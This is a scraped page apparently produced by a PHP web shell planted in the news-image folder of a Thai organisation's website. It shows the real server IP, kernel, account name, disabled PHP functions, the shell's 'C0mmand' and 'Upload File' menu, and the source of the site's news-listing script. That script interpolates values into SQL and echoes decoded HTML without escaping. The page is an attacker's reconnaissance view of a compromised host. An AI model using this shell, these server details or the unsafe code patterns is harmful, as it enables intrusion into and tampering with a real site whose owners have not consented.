|
Server IP : 124.109.2.77 / Your IP : 216.73.216.49 Web Server : Apache/2 System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : cpctlp ( 1020) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341 OFF Directory (0755) : /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/../tcpdf/../../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<section class="ftco-section bg-light">
<div class="container">
<div class="row justify-content-center mb-5 pb-2">
<div class="col-md-8 text-center heading-section ftco-animate">
<h2 class="mb-4"><span>ข่าวสาร</span>ประชาสัมพันธ์</h2>
<!-- <p>Separated they live in. A small river named Duden flows by their place and supplies it with the necessary regelialia. It is a paradisematic country</p> -->
</div>
</div>
<div class="row">
<?php
$gID=1;
$sql ="select *,day(aDate) as dd,month(aDate) as mm,year(aDate)+543 as yy from news where gID='$gID' order by news.aDate Desc ";
$row=$db->recCount($sql);
foreach ($db->dbSearch($sql) as $i=>$arr) {
if($i>0 and $i%3==0){
echo "<div class=\"row\"></div>";
}
$arr[mm]=ChangeMonth($arr[mm],1);
$arr[aName]=htmlspecialchars_decode($arr[aName], ENT_QUOTES);
$arr[aTitle]=htmlspecialchars_decode($arr[aTitle], ENT_QUOTES);
$arr[aDesc]=htmlspecialchars_decode($arr[aDesc], ENT_QUOTES);
$arr[aTitle]=str_replace('<p>','',$arr[aTitle]);$arr[aTitle]=str_replace("</p>"," ",$arr[aTitle]);
if(!empty($arr[aLink])){
$Link=$arr[aLink];
}else
{
$Link="ShowNews.php?aID=$arr[aID]";
}
echo <<<DOC
<div class="col-md-6 col-lg-4 ftco-animate">
<div class="blog-entry">
<a href="$Link" class="block-20 d-flex align-items-end" style="background-image: url('admin/images/News/$arr[aImg]');" target="a$arr[aID]">
<div class="meta-date text-center p-2">
<span class="day">$arr[dd]</span>
<span class="mos">$arr[mm]</span>
<span class="yr">$arr[yy]</span>
</div>
</a>
<div class="text bg-white p-4">
<h3 class="heading" style="font-size: 15px;"><a href="$Link" target="a$arr[aID]">$arr[aName]</a></h3>
<p style="font-size: 13px;">$arr[aTitle]</p>
<!-- <div class="d-flex align-items-center mt-4">
<p class="mb-0"><a href="$Link" target="a$arr[aID]" class="btn btn-secondary">Read More <span class="ion-ios-arrow-round-forward"></span></a></p>
</div> -->
</div>
</div>
</div>
DOC;
}
?>
</div>
<div class="col-lg-12" align="center"><BR>
<a href="NewsALL.php" target="GalleryALL"><input type="button" value=" แสดงทั้งหมด " class="btn btn-secondary" style="border-radius: 25px;"></a>
</div>
</div>
</section>